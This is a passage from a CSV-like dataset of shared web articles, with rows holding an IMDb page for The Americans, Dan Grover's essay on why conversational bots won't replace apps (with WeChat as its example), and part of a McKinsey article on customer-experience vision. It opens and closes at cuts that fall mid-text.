rude, but she can detect you being rude and react accordingly. Obviously, the user is deeply engaged with her. To the user, Angela is real. But I don't want a teenage AI personality. And I don't want Siri. I want . That voice. That intimacy. Which means not just good chat and good functionality, but a well-synthesized voice. Current ones sound a bit too - dare I say it - robotic. But would I want her in a robotic body? Probably not. I'll want the step beyond robots. The synths . The androids. So really, robots as we currently build them are just a step along the way. And for all those who fear Skynet, bear in mind you will get the AI you deserve. If you mistreat them now (as the Internet trolls did Tay), can you blame the AI if they mistreat you later? Once you instantiate a mind in a physical body, all sorts of add-ons are possible. So your relationship with that mind is critical to how you survive a relationship with that body. Featured Image: Bryce Durbin",en
1461443352,CONTENT SHARED,-5071600977095793163,-1032019229384696495,8050852261508857085,,,,HTML,http://www.imdb.com/title/tt2149175/,The Americans (TV Series 2013- ),"Won 1 Primetime Emmy. Another 10 wins & 48 nominations. See more awards "" Storyline A pair of deep-cover Soviet spies masquerades as a typical DC couple whose children, neighbors, coworkers & friends are completely unaware of their activities. At home, they're the stereotypical parents of stereotypical kids; at work, they pose as travel agents; but at night, they weave a web of confidants, lovers, dupes, and historical figures from the Reagan-era Cold War. The startlingly realistic plot twists force the viewer to consider the real cost of an undeclared war, what it takes to protect one's beliefs, if it's worth it, and if it actually worked for either side. Written by Steve83 Taglines: All's fair in love and cold war. Details Release Date: 30 January 2013 (USA) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Joseph Weisberg created the show. Weisberg worked in the CIA's directorate of operations from 1990 to 1994. As a former agent, any script written by Weisberg must go in front of the CIA Publications Review Board. See more "" Connections Referenced in Toy Hunter: Giant Toys (2014) See more "" User Reviews Message Boards Recent Posts",en
1461522787,CONTENT SHARED,3035329611795434601,-1032019229384696495,-7645414203434198015,,,,HTML,http://dangrover.com/blog/2016/04/20/bots-wont-replace-apps.html,Bots won't replace apps. Better apps will replace apps.,"Lately, everyone's talking about ""conversational UI."" It's the next big thing. But the more articles I read on the topic, the more annoyed I get. It's taken me so long to figure out why! Conversations, writes WIRED , can do things traditional GUIs can't. Matt Hartman equates the surge in text-driven apps as a kind of ""hidden homescreen"" . TechCrunch says ""forget apps, now bots take over"" . The creator of Fin thinks it's a new paradigm all apps will move to . Dharmesh Shah wonders whether the rise of conversational UI will be the downfall of designers . Design, says Emmet Connolly at Intercom is a conversation. Benedict Evans prophecized that the new lay of the land is ""all messaging expands until it includes software."" ""People don't want apps for every single business that you interact with,"" says David Marcus, head of Facebook Messenger , ""...just have a message within a nicely designed bubble ... [that's a] much nicer experience than an app."" Under his charge, Facebook Messenger has tested this approach, building integrations with high profile partners as well as opening up a bot API. We've even seen avant-garde attempts at taking this idea to its extreme, like Quartz's latest app , which presents the news as a conversation, or the game Lifeline . Apps like Mailtime even promise to save us from our emails by turning them into chats. I guess I might be partially to blame for this, with a few pieces citing a section in a 2014 piece of mine that I literally titled ""Chats as Universal UI."" This recent ""bot-mania"" is at the confluence of two separate trends. One is agent AIs steadily getting better, as evidenced by Siri and Alexa being things people actually use rather than gimmicks. The other is that the the US somehow still hasn't got a dominant messaging app and Silicon Valley is trying to learn from the success of Asian messenger apps. This involves a peculiar fixation on how these apps, particularly WeChat, incorporate all sorts of functionality seemingly unrelated to messaging. They come away surprised by just how many differently-shaped pegs fit into this seemingly oddly-shaped hole. The thesis, then, is that users will engage more frequently, deeply, and efficiently with third-party services if they're presented in a conversational UI instead of a separate native app. It's that part which, having spent the past two years in my current job eating and breathing messaging, seems a major misattribution of what makes chat apps work and what problems they're best at solving. Note: The opinions expressed here are purely my own and do not reflect that of my employer. As I'll explain, messenger apps' apparent success in fulfilling such a surprising array of tasks does not owe to the triumph of ""conversational UI."" What they've achieved can be much more instructively framed as an adept exploitation of Silicon Valley phone OS makers' growing failure to fully serve users' needs, particularly in other parts of the world. Chat apps have responded by evolving into ""meta-platforms."" Many of the platform-like aspects they've taken on to plaster over gaps in the OS actually have little to do with the core chat functionality. Not only is ""conversational UI"" a red herring, but as we look more closely, we'll even see places where conversational UI has breached its limits and broken down. But first, let's retrace how this state of affairs really came about in the first place. A BRIEF HISTORY OF THE CHAT BUBBLE We'll begin by taking a closer look at the apparent atomic unit of the ""conversational UI"", our friend the message bubble. To do that, we're going to go back in time a bit. Let's take a stroll to, oh, about 2003. In those days, sending a quick text meant dealing with a UI that looked like this: In many phone's UIs, SMSes were treated like mini-emails, often complete with an inbox, outbox, and drafts. So fussy! Later, some time in the last decade, perhaps owing to a prototype by Jens Alfke , our IMs began taking on their familiar appearance as cartoon dialog bubbles. When smartphones took off later, it was a natural fit for the system SMS apps on the first versions of iOS and Android. Soon after smartphones launched, those default SMS apps were eclipsed instantly by third-party messaging apps emerging in Europe and Asia (in the US, we have somehow still clung to SMS). They had started as direct clones of the system SMS apps - the only difference being that messages were counted against one's data quota instead of the stingy and arbitrary SMS allotment given by carriers. These apps that came along initially to replace SMS have styled the message bubble every way imaginable: round and square, flat and puffy, green and blue. Free from the constraints of a 20-year-old protocol, these apps evolved, taking on more features. The bubbles displayed in these apps developed a number of affordances for new features like read receipts, names in group chats, and more. New kinds of bubbles emerged to accommodate new types of content these apps supported: The app I've been working on really takes the cake for this. WeChat's got bubbles for text, voice messages, big videos, l'il ""Sight"" videos, full-width cards with hero shots for news headlines, bubbles for payments, files, links, locations, and contact cards. Mucking through some code once, I saw definitions for nearly 100 types of supported messages, most I'd never seen in actual use. Aside from supporting so many different types of messages, another advance WeChat made was realizing a messaging app needed different types of accounts as well. They'd seen brands and celebrities registering personal accounts and making series of giant group chats to invite their fans into. There had to be a better way! Thus was born Official Accounts. Here's what one of the first accounts, China Southern Airlines, looked like when the feature launched in 2012: Yeah...this bot ain't exactly HAL 9000. Here's what the account for my city's subway system looked like: Why was the user asked to enter numbers, as if on an IVR system? Were the creators of these accounts so unimaginative to the possibilities of a new medium as to replicate their old-school hotline? Actually, no! In fact, keywords could be defined, and messages could be even routed through the third party's server to formulate a response using whatever method it pleases. Yet in this case, entering keywords or more complex queries in Chinese (or god forbid, formulating a complete sentence) would be even worse . At the time, typing in numbers really was the best UI choice given the constraints. Critically, these experiences were still often preferable to downloading a separate app on a data plan or spotty WiFi connection, or having to call someone's customer service hotline and wait on hold. The Official Account platform was a rousing success; there are over 8 million of these accounts today. As it took off, the APIs offered to third parties to build their accounts expanded to accommodate a growing array of use cases and demands. Some of these new APIs deepened and enabled new possibilities within the ""conversational"" nature of these interactions. Voice messages were transcribed via speech recognition before being sent to the OA's server. Objects could be recognized in pictures. Advanced natural language processing could even extract named entities and certain types of queries from text sent by users. Users could be patched in to agents at service centers to carry on a conversation exactly as they would with a friend in the app. There was even a special integration whereby I can select a message in a chat and forward it to Evernote's Official Account (as I would to a friend) to save it to a note. Cute, right? On the other hand, far greater and more successful were the enhancements made running counter or orthogonal to the idea of conversational UI. One affordance added right off the bat was the three-tabbed fixed menu. Now accounts could offer fast access to all their features without having to send a prompt or depend on state information. Here's what the menu looks like today on the Guangzhou Metro's main official account: Not only can those tabs send keywords, but they can open up webpages as well. Web apps invoked in this way can identify the user (using OAuth). They even have an extensive JavaScript API at their disposal to integrate with all sorts of features elsewhere in the app, even reacting to Bluetooth beacons. OAs gained the ability to send and recieve money. The accounts could have QR codes - both for the account itself, as well as parametric ones that can send along extra data (like what product I've picked up in a store or what table I'm sitting at). They gained the ability to authenticate me on their owners' WiFi hotspots (a development that emerged, no doubt, from merchants who had written the welcome message in the OA they made for their shop to tell customers their router's WiFi password). Official accounts could not only send out headline news to users, but, if they wish, host the linked articles on WeChat itself, letting users add comments and even send cash tips via the app. None of these things have anything at all to do with chat, but they're darn nifty! While this craziness was flying around out here, what sort of vision did those disruptors back on the west coast begin conjuring for our future bot overlords? Let's ponder this example from the homepage of Microsoft's recently-launched Bot Framework . Here's how they think we'll be ordering pizzas in the future: Good gravy, that's over 73 taps to tell Pizza Bot what I want. And this is when he already knows me on a first-name basis! I'd hate to see him when he's just warming up to someone. Man, counting those taps sure has made me hungry! We haven't quite got pizza here, but there's Pizza Hut , which is almost the same. Let me open their official account... I have, in 16 taps, ordered a pizza. That includes 1 for choosing 'medium', 1 for dismissing their coach marks, and 6 for entering my PIN. For some reason, it's not set up to use my TouchID. Afterwards, Pizza Hut's account even sent me a special transaction message with a link to let me track it: Well, it isn't exactly Ray's, that's for sure, but it's pizza. And I didn't have to leave my chat app to get it. The key wins for WeChat in the above interaction (compared to a native app) largely came from steamlining away app installation, login, payment, and notifications, optimizations having nothing to do with the conversational metaphor in its UI. It shouldn't require any detailed analysis, then, to point out the patent inanity of these other recent examples of bots and conversational UI proffered by companies on the vanguard of the trend: This notion of a bot handling the above sorts of tasks is a curious kind of skeumorphism . In the same way that a contact book app (before the flat UI fashion began) may have presented contacts as little cards with drop shadows and ring holes to suggest a Rolodex, conversational UI, too, has applied an analog metaphor to a digital task and brought along details that, in this form, no longer serve any purpose. Things like the small pleasantries in the above exchange like ""please"" and ""thank you"", to asking for various pizza-related choices sequentially and separately (rather than all at once). These vestiges of human conversation no longer provide utility (if anything, they impede the task). I am no more really holding a conversation than my contact book app really is a l'il Rolodex. At the end, a single call to some ordering interface will be made. Designing the UI for a given task around a purely conversational metaphor makes us surrender the full gamut of choices we'd otherwise have in representing each facet of the task in the UI and how they are arranged spatially and temporaly. Consider those made in Pizza Hut's acccount: I can see exactly how many slices a medium is, how much corn is inexplicably sprinkled on top of a ""Tianfu Beef"" pizza, what address it thinks it's delivering to, and exactly how much it will cost. So let's take these past few years in China as ""The Great Conversational UI Experiment."" Here, you have a messaging platform that achieved such total saturation among both users and businesses (to an extent that Facebook, Kik, and Telegram would die for). It boldly and earnestly carried the ""make every interaction a conversation"" torch as far as it could. It added countless features to its APIs - and yet those that actually succeeded in bringing value to users were the ones that peeled back conventions of ""conversational"" UI. Most instructively, these successes were borne out of watching how users and brands actually used the app and seeking to optimize those cases. You can see from Facebook and others' early forays into bots that they're already beginning to have the same hunch. Telegram's take is true to its inspiration in IRC-style slash commands. To be fair, it's still surprising the range of apps and services that can be shoehorned into a chat-style UI. No doubt it can be expanded with great AI and little UI affordances here and there. I should concede, too, that performing certain tasks in a chat brings along some useful side-benefits. It can be, compared to apps, a low-bandwidth, snappy, and consistent way to get a task done. I'm even left with a handy, timestamped, offline-viewable record of everything that's transpired. I can search it and quickly jump to media and links. I can clip parts of it and forward it to friends within the app, or save it to an archive. By interacting with certain services via a messaging app instead of via independent apps, when things happen that might deserve my attention, the thread gets bumped up in my inbox instead the message getting lost in a sea of push notifications and emails. And though it's clear pure ""conversational UI"" is ultimately a failed conceit, that last piece may be more important than it first seems... THE INBOX IS THE NEW HOME SCREEN The inbox is where it's really at. I am, of course, heavily biased, but I feel WeChat's is the best in class. I'd even go as far as to say it's an overlooked piece of genius in the app. Some key improvements (compared to the inboxes we're used to in email and SMS apps) include: Stickyability : If I want to stay on top of a particular thread in the inbox (whether it represents a person, a group, an official account, or another feature exposed here), I can ""sticky"" the thread to the top of the inbox. Mutability : I can mute notifications from any thread, but it will still pop up in the inbox as any thread does, only with an indeterminate red badge instead of a numbered one. Killablity : If I don't want to receive messages from something anymore, it's two taps to kill it. Hierarchy : News and promotions can be pushed to me through official accounts, but when they arrive, they just make the ""Subscriptions"" category pop up and show me the latest headline without interfering with other messages. When a service has a real reason to send me, personally, a message, it can pop out and appear in the main inbox. I find this approach superior to Gmail's ""sidelining"" messages into separate inboxes. Status Items : Persistent processes/statuses can be displayed in a special cell at the top. This includes things like being logged into a web/desktop client, using WeChat to authenticate on wifi, playing a song, or migrating data between phones. Searchability : The search bar on the main screen not only searches my contacts but my groups, chat history, favorited content, articles on the web, my newsfeed, and names of features in the app. It is telling, then, that in all localizations, the name of the first tab in the app is not ""Chats"" or ""Inbox"" (as in other messengers), but rather just the name of the app. Indeed, the cornerstone of whole experience is effectively a common, semi-hierarchical stream of messages, notifications, and news with a consistent set of controls for handling them. It's no stretch to see WeChat and its ilk not as SMS replacements but as nascent visions of a mobile OS whose UI paradigm is, rather than rigidly app-centric, thread-centric (and not , strictly speaking, conversation-centric). When you think about it this way, the things listed there in my inbox don't need to be conversations per se . But everything there, most abstractly, is something that can send me updates and notifications, will change in position when it does so, retains a read/unread status, and most essentially, allows me, the user, the aforementioned modes of control. And if we really run with this idea to its extreme, what actually might appear when I tap on a cell in the inbox doesn't matter - I could see a conversation, a song or video, news headlines, a map showing me my route, a timer, or a sub-group of other such threads. Anything, really. Though I guess it'd be best when it's at least something dynamic or based on a service (I certainly wouldn't want to access my calculator or camera this way). RISE OF THE TORTILLA CHIP APP This term - ""app"" - is rather old, yet only entered common parlance with the proliferation of smartphones. This is no coincidence. The app paradigm introduced on smartphone OSes circa 2007 was a radical improvement over what we'd had on the desktop. For the first time, software was easy to install, even easier to delete, and was guaranteed to not totally screw with your system (due to sandboxing/permissions models). At the time, smartphone apps were envisioned as baby brothers to desktop apps. On iOS, apps like Mail and Calendar were designed to evoke their Mac versions. Apple came out with pocket-sized editions of apps like Pages, GarageBand, and iMovie. For the first few years, setting up an iPhone even required plugging it into a desktop and syncing with that monstrosity known as iTunes. Though some apps indeed are mini-desktop apps that make full use of the supercomputer I carry in my pocket, well over half fall into another category. These apps are just a vessel for a steady stream of news, notifications, messages, and other timely info ultimately residing in a backend service somewhere. They don't really do much on their own. It's much like how a tortilla chip's main value is not so much in its appeal as a chip but as a cheese and chili delivery mechanism. The smartphone OS we use are still largely based on the assumption of my phone being a mini-desktop, rather than, well, an information nacho, if you will. Consequently, if you're making one of these apps, your app must give me something new daily (or more), or else it has no reason to live. Its information would be better shown to me via another app I do check often, like a social news feed or a messaging app. The only recourse the OS affords these apps in avoiding such a fate is the rather blunt instrument of push notifications (and things like Today widgets or Android home screen gadgets). THE OTHER WAYS SMARTPHONE OSES ARE FAILING US After coming to rely on WeChat in China, it can seem a bit like its own separate environment. After all, within it are not only my chats, but my social news feed, my news and blog subscriptions (many only available via the app), my digital wallet, my reading list. It even directly reads my step count from the various Bluetooth devices my friends and I use. It can scan QR codes, something my OS should do, but doesn't (more on this later). It can recognize songs being played, even books and other objects from photos. And you can pretty easily sling all types of data between these different areas of the app in ways you'd expect. Sometimes it reminds me of those awkward transitional days in the early 90's when one might launch Windows or other shell environments from DOS, then occasionally drop back out to do other stuff. That's what switching out of WeChat, to my homescreen, and into other apps is slowly heading towards. It should be no surprise, then, that I say it feels like my OS just isn't doing much for me lately. How is that? These days, a smartphone OS's job, aside from the low-level drudgery we take for granted (managing memory and thread pools and the like), is to provide some common infrastructure and higher-level services that apps can rely on. So that apps can focus on doing what they do best. And, well, it seems like there are so many areas where the OS is just not making much of a difference. Each item below seems like a petty, inconsequential annoyance - to the point where I feel like some kind of strange, cranky, millenial version of Andy Rooney for even writing it - but they quickly add up! Notifications - When I glance at my homescreen, there's red dots splattered everywhere. My eyes dart first towards a few I can interpret. WeChat, naturally, then Mail. My inboxes have 8,108 unread messages, but I surely would notice if it changed to 8,109. My ""Social"" folder has 4, one from Facebook which I will check, and three from other stray apps displaying ""1""s. I'm not sure what those apps are telling me, or what I'll need to do after opening the app to clear the dot. I think one might be from when my friend checked me in on Foursquare at a bar a few weeks ago on a trip back to SF, a fact I was aware of because I was standing next to him when he did it, and because the notification already appeared on my phone then. Another might be Instagram, which just throws up a red badge from time to time when it feels lonely. But I mainly know that if my ""Social"" folder is displaying a 3, there's probably nothing to see, and a 4 or a 5 may deserve checking. The system Messages app, which I still keep on my home screen, is showing 39 unreads, mostly one-time-passwords, transaction notifications from my bank, and spam. Messages, for most here, serves no other purpose. My ""News"" folder displays the sum of a few apps that are trying to tell me something. Airpocalypse is displaying the current AQI of 93 for Guangzhou in its badge. Starbucks has a '1'. What's that? Have I got a free coffee credit to redeem? Possibly a scone? Let's see. No, it's an unread message within the app's own inbox saying ""Welcome to the Starbucks App!"" from 43 days ago. Christ on a crutch. Even worse than those notifications gazing at me longingly from my homescreen are those that interrupt me. When I install a new app, I'm usually prompted right-off-the-bat to enable notifications for it. I'm taking a risk in doing so, not knowing how often or for what they'll be sent. When I'm interrupted by a superflous notification on my iPhone (or worse, on my Apple Watch), there's no quick way to tell it ""Shut up, and never bother me with this sort of thing again."" I must fish through Settings, find the app, and tweak it there. It is often easier to delete the app entirely. MIUI and some other flavors of Android at least allow me to mute a given app's notifications right after seeing one. Many apps offer settings to specifiy what sort of things merit notifications, but they're often located in different places and not worth the trouble. On iOS, if I miss a critical notification on the lock screen because I actually wanted to unlock my phone to make a call or look something up, until recently, there was no way to quickly go back and find what it was. iOS 9's notifications drawer, like Android's, now defaults to sorting notifications reverse-chronologically, instead of grouped by app - an advance five years in the making. Lastly, things become even more clunky across multiple devices. When I get home from work and crack open my personal laptop, I am notified a second time of all the Facebook messages I recieved during the past couple days, all of the LinkedIn invitations I already saw (because they sent me an email and another push on my phone), and all of my friends' birthdays. - When I left the US, QR codes were a joke . Putting them on things was a way to tell people you're a douche, like using lots of hashtags or wearing a Bluetooth headset. They were once this way in China, too, until WeChat doubled-down on them. Now, they're used for people, group chats, brands, payments, login, and more. They're in plenty of other apps as well. In a place where everyone has adopted them and knows how to scan them, they've become a wonderful, fast way to link the offline and online worlds that saves untold amounts of time. But they have a few downsides. One is that they look like robot barf. The other is that, at least here, if you scan a code in the wrong app, you'll get a webpage telling you to go install the right app, if not something totally inscrutable. Something that was once defined as an open standard is now non-inoperable. I predict great things for Facebook and Snapchat's de-uglified take on QR codes. Still, I wish my phone's OS could scan any such code (or detect them in photos) and do the right thing, but it seems the window of opportunity has passed for this. App Distribution - Aside from the obvious gripes - the app store's poor discovery mechanisms and inconsistent approval process - I'd written an aside in my last piece about the ways iOS's App Store misses the mark in China . In short, it's dog slow and doesn't support QR codes (which appear in every app advertisement here). Apps Are Too Big - Not to mention, apps are just too darn big these days. Twitter, an app that displays 140 character messages, weighs in at 72 MB. Bigger apps are less likely to be downloaded on data plans, or even on bad wifi connections. And much more likely to be deleted, forcing users to go through the setup process again every time they re-install them. Apple's tried to solve this problem via app thinning and on-demand resources , but it hasn't seemed to make a difference yet. David Smith astutely summed up the issue in his post ""16GB is a bad experience"" , and, I would add, this experience is one disproportionately had by mobile users in the developing world. Contacts & Social Graph - The idea behind the Contacts app (beyond giving me a way to tag phone numbers with names) is to act as a central repository where a single entry for a person can be linked to every kind of phone number, address, or ID I know for them. iOS's version has roots in the Address Book in OS X and NeXTStep . In theory, I should be able invoke it in an app to store or retrieve a person's info for the task at hand, rather than maintaining the same contacts in a bunch of separate app-specific databases. In practice, well, it doesn't really work that way. The concept of a person as they exist in Facebook or WeChat is rather disjointed from their profile elsewhere. Not only this, but adding people could be far better. Something clicked in my mind the first time I met a cute girl and she asked to scan my QR code (rather than type in my phone number or search for me on Facebook). Once I got in the habit of adding just-met friends and colleagues via QR code (or Bluetooth) I never wanted to add someone any other way. Why can't I pull out my phone and, with a swipe from the lock screen, add someone I've just met to my phone's contacts, with whatever phone numbers, websites, or messaging app usernames they've chosen to expose to me? Connectivity - I wrote before about how apps here get around people's reluctance to use their data plans . I'd mentioned WeChat, Alipay, and Xiaomi's attempts to make their WiFi-dependant users' lives easier. This is as big a problem in China as it is in many other developing countries. It's an issue the OS could address more directly, whether it's improving the process for authenticating on public hotspots or giving me better ways to monitor my usage. Authentication - When I open most apps for the first time, they either make me sign up for a new account with my email, use Facebook or other third-party services to log in, or, as is increasingly common, use my phone number to send me a one-time password. These are super clunky. Apps should be already logged in the first time I open them. There should be some flexible concept of identity that the OS can provide to apps immediately without asking, and then, with permission, supplement with further details. If users must switch identities, maybe a Mozilla Persona -like system could be adopted. Anything would be better than the mess that is app login now. Data Interop - My apps are terrible at sharing data. Lots of friends send me screenshots of articles, chats, tweets, even other apps as a way to share the underlying information. It's particularly annoying when compression artifacts make the text illegible or I want to go read the rest of the article or engage with the thing in the screenshot somehow. If I open a page in Facebook and want to share it in Twitter, I have to choose ""Open in Safari"", re-load the page, and do it from there (though Facebook clearly knows exactly what they're doing in that instance.) I wish the data in my apps was more atomic and could be freely shared, persisted offline, and searched in a consistent way. But this sort of thing has been a pipe dream since OpenDoc and OLE , so maybe it's just one of those things you should never do . Offline Storage & Storage Management - As a consequence of people being so reluctant to use their data plans, apps here are big on offline storage. All the music and movie apps do it, as do news apps and the third-party browsers popular here. Some give users detailed interfaces to manage their storage, even showing little pie graphs. I like this level of control, and I wish all my apps had it. I'd prefer not to think about storage, but if I have to clear data, I'd rather do it from a central UI rather than going into each individual app to manage the things it has saved (or deleting the app out of frustration). - I wrote before about how nifty online payments are in China . Any website or app that takes my money pretty much uses Alipay or WeChat Wallet. In the US, I have to type in and update credit card and address info for every new app I install. We have OS-provided solutions in Apple Pay and Android Pay, but these seem to be accepted in few places and strictly NFC-based, limiting potential network effects. The nice thing about the solutions here is just how many combinations of scenarios and hardware they've covered, whether it's expensive POS equipment that just requires me to hold my phone up, to scanning a pre-generated QR code the merchant has printed on a vinyl mat, to web payments, to 3rd-party app payments, to peer to peer payments between normal users who aren't connected. Whether you're an app startup or a mom and pop convenience store, you have no excuse to not accept one of these solutions. And as a user, there's no place where it's more frictionless to part with your money. When will blowing my hard-earned dough in US apps be this easy? So the meta-platforms - WeChat, Facebook, LINE, and the like - have come and addressed many of the pain points above. They've delivered solutions neither the open web nor those behind the closed app store model were coordinated enough, thoughtful enough, or perhaps incentivized enough to produce. Originally, the whole tradeoff we were promised with locked-down devices and app stores was that things were much nicer inside the "" walled garden ."" But over the years, as so many weeds sprung there, others came and built another wall with another garden inside of it, with yet another gatekeeper to deal with. In the 1990's, OS makers shook in their boots over the prospect of web browsers disintermediating them, but somehow it's taken more than another decade for the next challenger to emerge in the peculiar form of messaging apps. And though they're still quite far from wholly replacing the high-level features OS offer to users and app developers, we can clearly see the beginning of this encroachment. So here we are. What do we do? A LITTLE LESS CONVERSATION, A LITTLE MORE ACTION I don't know about you, but here's what I want to see happen. I want the first tab of my OS's home screen to be a central inbox half as good as my chat app's inbox. It want it to incorporate all my messengers, emails, news subscriptions, and notifications and give me as great a degree of control in managing it. No more red dots spattered everywhere, no swiping up to see missed notifications. Make them a bit richer and better-integrated with their originating apps. Make them expire and sync between my devices as appropriate. Just fan it all out in front of me and give me a few simple ways to tame them. I'll spend most of my day on that page, and when I need to go launch Calculator or Infinity Blade, I'll swipe over. Serve me a tasty info burrito as my main course instead of a series of nachos. The next time I'm back stateside, I want my phone to support something like Chrome Apps, but retaining a few useful properties of apps instead of being big, weird icons that just link to websites. I want to sit down at T.G.I Friday's and scan a QR code at my restaurant table and be able to connect to their WiFi, order, and pay. Without having to download a big app over my data plan , set up an account, and link a card when it is installed. Imagine if I could also register at the hospital or DMV in this fashion. Or buy a movie ticket. Or check in for a flight. As a user, I want my apps - whether they're native or web-based pseudo-apps - to have some consistent concept of identity, payments, offline storage, and data sharing. I want to be able to quickly add someone in person or from their website to my contacts. The next time I do a startup, I want to spend my time specializing in solving a specific problem for my users, not getting them over the above general hurdles. I don't actually care how it happens. Maybe the OS makers will up their game. Maybe Facebook, Telegram, or Snapchat can solve these problems for me by bolting solutions onto their messaging products. Hell, maybe Chrome or UC Browser will do it. Or maybe it'll be delivered in some magic, blockchain-distributed, GNU-licensed, neckbeard-encrusted solution that the masses, in a sudden epiphany, repent to. As they say at Pizza Hut, there's more than one way to skin a cat. But more than anything, rather than screwing around with bots, I want the tech industry to focus on solving these major annoyances and handling some of the common use cases I described that my phone ought to do better with by now. SEE ALSO If this is the first essay you've read that exposed you to the wacky and wonderful world of Chinese software, you may enjoy my 2014 summary on the topic and its 2016 followup . ACKNOWLEDGEMENTS Thanks to Kevin Shimota, Jeff Dlouhy, Andrew Badr, Jon Russel, Muzzammil Zaveri, Sonya Mann, Stephen Wang, Hank Horkoff, Mark Evans, Michael Belfrage, and Jake Rozin for reviewing drafts of this essay.",en
1461523730,CONTENT SHARED,9113647036759476320,-8606085472606356565,-5677826586706535687,,,,HTML,http://www.mckinsey.com/business-functions/marketing-and-sales/our-insights/developing-a-customer-experience-vision,Developing a customer-experience vision,"To provide a distinctive experience for customers, an organization must unite around the goal of meeting their true needs. Done well, the effort can power a vast amount of innovation. Almost every successful company recognizes that it is in the customer-experience business. Organizations committed to this principle are as diverse as the online retail giant Amazon; The Walt Disney Company, from its earliest days operating in a small California studio; and the US Air Force, which uses an exotic B2B-like interface to provide close air support for ground troops under fire. Conversely, companies that are not attuned to a customer-driven marketplace are remarkably easy to spot. Consider the traditional US taxi industry, which is facing significant new competition from the likes of Lyft and Uber. Customer-service standouts clearly understand that this is central to their success as businesses. Transforming customer experience Knowing that your organization is primarily in the customer-service business is not, however, enough to achieve organizational change. To build internal momentum for initiatives to develop a unique customer experience, a company must understand how that helps it perform distinctively in the market. The conviction and shared aspiration that stem from understanding the customer experience an organization wants to deliver can not only inspire, align, and guide it but also bring innovation, energy, and a human face to what would otherwise just be strategy. The story of one US airport's efforts to define a distinctive customer experience illustrates how such a transformation can take shape. Defining aspirations The customer experience an organization wants to provide can vary widely. For some companies, this transformed experience represents a step change. For others, the aspiration may, at least in the short term, require only more modest changes. Either way, the aspiration will translate into an overall mission and, ultimately, into guiding principles for frontline behavior. One caveat: it is easy to err by aiming too low. In our experience, looking at historical performance and at whatever helped satisfy customers in the past can often make marginal tweaks seem good enough. Understanding the fundamental wants and needs of customers must be a step in determining what a great experience for them should look like. For example, five years ago, a taxi company might have thought that decreasing the wait time when a customer ordered a cab would be sufficient. But some companies saw a competitive opportunity in addressing the wishes of customers trying to deal with a transportation challenge by getting more control, comfort, and safety, as well as lower costs. Understanding and addressing customer needs more effectively is a key reason successful start-ups disrupt industries in today's more customer-centric marketplace. We find that several key questions commonly underpin successful stories and strategies: What is a company's appetite for change in the near term? Is the goal to change the customer experience fundamentally or simply to improve it at the margins? What is the gap between the needs and wants of customers and what they actually experience? How can the company gain a customer-experience advantage against competitors? At which point in the experience should the company concentrate to have a real impact? How do the overall capabilities of the staff support the customer experience the company wants to provide? It is vital to define an aspiration centered on what matters to customers-and on how it affects your business. There may be no customer-experience location more demanding than major airports, and executives at one recently discovered how powerful and counterintuitive the responses to these questions can be. The executives formed a broad change team and spent several months determining what the airport should aim to deliver. Their aspiration at once captured the simplicity of the goal and the daunting complexity of the task: to provide the most enjoyable and efficient way possible for travelers to get from one destination to another. Marketing & Sales The effort to deliver that experience started with a multilayer diagnostic. It involved complex analyses, passenger tracking (via Wi-Fi) that yielded more than a million data points in the first few weeks, and employee focus groups that concentrated on the issues that matter to employees and customers. Traditional shop-floor observations were included as well. Combining these inputs, the airport's team developed a profile of what makes customers satisfied (or dissatisfied) with airports, as well as actionable insights that led directly to the design of a new customer-experience program (exhibit). There were surprises because initial ideas about what matters to customers were not always accurate, so the airport was at risk of being pulled into aspects of its operations that did not really matter. Among the drivers that did, such as moving smoothly through security, what really satisfied customers was not always obvious. For example, satisfaction with interactions involving the Transportation Security Administration (TSA) had more to do with the customers' perceptions of the way its officers behaved than with time spent standing in line. Understanding customers and their journeys Gathering and segmenting data are classic starting points in understanding customers. But data are not enough. Successful customer-experience efforts apply a human filter to the collected data to ask overarching questions. Exactly who are my customers as individuals? What motivates them? What do they want to achieve? What are the fundamental causes of satisfaction? Obviously, tackling these questions requires a concerted analytical effort, which helps an organization design and implement a more sophisticated program and, critically, persuade employees to embrace its goals. The airport turned to the Compass Model, drawn from Disney-one approach to understanding different types of customers. The points of the compass help an organization plan a customer-satisfaction program by identifying emotional mind-sets, wishes, and needs. In the airport's case, the compass showed the following: north: needs, or what the customer desires from the experience. Some needs are stated, but it is important to understand that many are not. I need to transfer to an aircraft to begin an air-travel journey might be one need. west: wants-the underlying objective or purpose of travelers, stated, unstated, or perhaps not even fully recognized by them; for example, I want a really positive end to my business trip that leaves me feeling good, relaxed, and in a positive mind-set to go home. south: stereotypes, or preconceived notions, positive or negative, that customers have about the airport experience. A customer might expect this: Curbside will be a hassle. TSA lines will be long and hard to predict. There will be no time to eat. And the airline may lose my bag, so best to carry it onboard. east: emotions that customers have or are likely to experience; for example, I feel rushed and annoyed that this is so hard to deal with. I'm anxious about getting to the gate and missing my flight. I really need this trip to be behind me. Organizations can bring the customer's perspective into focus through something as simple as these four points. This approach also helps employees align their perspectives with a customer-experience program and connect much more effectively with customers. Of course, it can also be used to better understand and ultimately support employees-the people who must deliver great service. How employees deliver A year into the airport's transformation, a member of its board shared a leadership insight that struck at the central role employees play in delivering a superior customer experience and the organizational challenge it poses for management. ""I will care about what you say when I believe you care about me,"" the board member recalled one frontline worker saying to him. At the airport, 18,000 people work for more than 60 entities. All customer-experience leaders understand that they can provide a great experience only through frontline workers. Such a customer experience begins with employees who know about it, care about it, and are well positioned to deliver it. In the case of an airport, it can't be provided by employees who must wait 45 minutes in the cold in a staff-shuttle line, have no real ""backstage"" area to step away from customers during breaks, lack training outside their own narrow technical tasks, or resent leaders who never ask for (or even appear to care about) their input. During the airport's diagnostic stage, staffers from many organizations were regularly seen avoiding contact with customers: marching through the airport, hats pulled down, heads bowed, work badges removed on their way to their places of work. Were these just grumpy staff members? Far from it. Focus groups revealed that employees tried to avoid dealing with travelers' questions because the employees had no answers. Many lacked practical tools to help customers or even training in basic navigation around the airport complex. The upshot: organizations must make frontline workers customer-experience leaders by bringing them closer to customers. Transforming the customer experience requires an engaging employee experience. Creating a shared aspiration The highly diverse, frontline nature of superior customer-experience programs requires a shared aspiration, which can serve as a guiding light for strategic decisions and execution. Otherwise, a corporate strategy to improve the customer experience will go only so far. At Disney, for example, all cast members share an aspiration they call the Common Purpose: to ""create happiness."" In the military or in organizations such as the US National Aeronautics and Space Administration, stakeholders follow ""commander's intent,"" a shared aspiration that can unify all interested parties around a mission. Commander's intent also succinctly describes what constitutes success for the operation. It includes the operation's purpose and the conditions that define the end state, as well as the mission, the concept of operations, and the tactical behavior 